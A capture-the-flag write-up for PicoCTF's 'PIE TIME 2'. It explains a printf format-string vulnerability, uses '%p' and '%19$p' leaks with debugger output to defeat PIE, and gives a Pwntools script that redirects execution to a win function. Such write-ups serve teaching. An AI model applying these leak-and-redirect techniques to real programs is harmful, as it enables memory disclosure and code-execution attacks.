PicoCTF 2025: PIE TIME 2
Recon
This challenge is the follow-up of the previous “PIE TIME” level.
$ PIE-TIME2 file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
$ PIE-TIME2 checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
All protections are enabled, notably PIE (Position Independent
Executable). The program will be loaded each time at different
addresses, and the binary will only contain offsets (relative
addresses), not absolute addresses like when we compile with
-no-pie. Anyways, here is the program’s behavior:
$ ./vuln
Enter your name:john
john
enter the address to jump to, ex => 0x12345: ff
Segfault Occurred, incorrect address.
The behavior is mostly the same as the previous level, however here they ask us for our name first, making the program quite polite.
The developer wasn’t so kind this time and didn’t give us a leak of any address. But we can probably find this by ourselves, can’t we?
Looking at the source code we find some interesting stuff:
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
// reads the flag
}
int main() {
call_functions();
return 0;
}For once, they used fgets, the safe replacement for
gets, which checks for input length, making us unable to
trigger a buffer overflow here. However, the printf
function was directly called on user input:
printf(buffer).
This is a terrible idea as the content of the buffer will be used to
parse the format string for printf; for example we could try injecting a
%p in the input, and we would get the next pointer on the
stack. As the input buffer is limited to 64 chars, we can chain a couple
more, and leak many pointers on the stack..
This is the vulnerability we could use to leak main’s return address. To do this first we’ll need to know where this address is located on the stack.
By decompiling the main function, we can find where
call_functions is supposed to return:
0x0000000000001437 <+55>: mov eax,0x0
0x000000000000143c <+60>: call 0x12c7 <call_functions>
0x0000000000001441 <+65>: mov eax,0x0
0x0000000000001446 <+70>: pop rbp
0x0000000000001447 <+71>: retThe instruction right after the call is at
<main+65> or offset 0x1441. We’ll take
note of this.
We can do a bit of dynamic analysis with pwndbg to know where the return address to main could be on the stack:
pwndbg> b *call_functions
Breakpoint 1 at 0x12c7
pwndbg> r
[...]
─────[ BACKTRACE ]─────
► 0 0x5555555552c7 call_functions
1 0x555555555441 main+65
2 0x7ffff7ded24a None
3 0x7ffff7ded305 __libc_start_main+133
4 0x5555555551ee _start+46
We can now inject a bunch of %p specifiers to leak
addresses off the stack and see where we’ll find main+65:
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x5555555592a1 0xfbad2288 0xaaaa6d5f 0x5555555592dc 0x21001 (nil) 0x7ffff7f99760 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 (nil) 0x7ae1306570e7af00 0x7fffffffdb20 0x555555555441 0x1
We see that 0x555555555441, our return address to main,
is located at position 19 here. Therefore our exploit will use the
%19$p format specifier to leak only this information. Also,
it is the address for the instruction at <main+65>.
Knowing this we can calculate the address for main.
We will simply subtract 65 decimal to the return address we found,
and we get: 0x555555555400. Of course this address will
change at each execution but we don’t care because we’ll automate this
later.
Also bear in mind that gdb disables ASLR by default so this perfect address made up of fives will be slightly different in non-debugging conditions.
Now that we leaked main, how do we know where win() is?
Well, it’s really simple. We will do a bit of static analysis (with IDA)
to find win’s offset:
.text:000000000000136A endbr64
.text:000000000000136E push rbp
.text:000000000000136F mov rbp, rsp
.text:0000000000001372 sub rsp, 10h
.text:0000000000001376 lea rdi, aYouWon ; "You won!"
So the offset for win() is 0x136A. Knowing
main’s offset aswell, we will substract those two.
difference = main_offset - win_offset
difference = 0x1400 - 0x136A
difference = 0x96 bytes
So we know that win() is at main() - 0x96
and we know the address for main().
To know win() we will do:
main() - 0x96 = 0x???? and the address doesn’t matter here,
it will change everytime. But the idea works.
Exploit
Great, we have the address for win() and the position of
main’s return address on the stack (19).
We can now write a Pwntools script to exploit the binary and get the flag:
io = start()
main_offset = 0x1400
win_offset = 0x136A
diff_bytes = main_offset - win_offset # 0x96
io.sendlineafter(b'name:', b'%19$p')
main_ret_text = io.recvline()
main_ret_addr = int(main_ret_text.strip(b'\n').decode(), 16) # main+65
main_addr = main_ret_addr - 65
win_addr = main_addr - diff_bytes
io.sendlineafter(b'12345:', str(hex(win_addr)).encode())
result = io.recvall()
print(result)Let it run!
$ python exploit.py REMOTE rescued-float.picoctf.net 65162
b" You won!\npicoCTF{REDACTED}\n\n"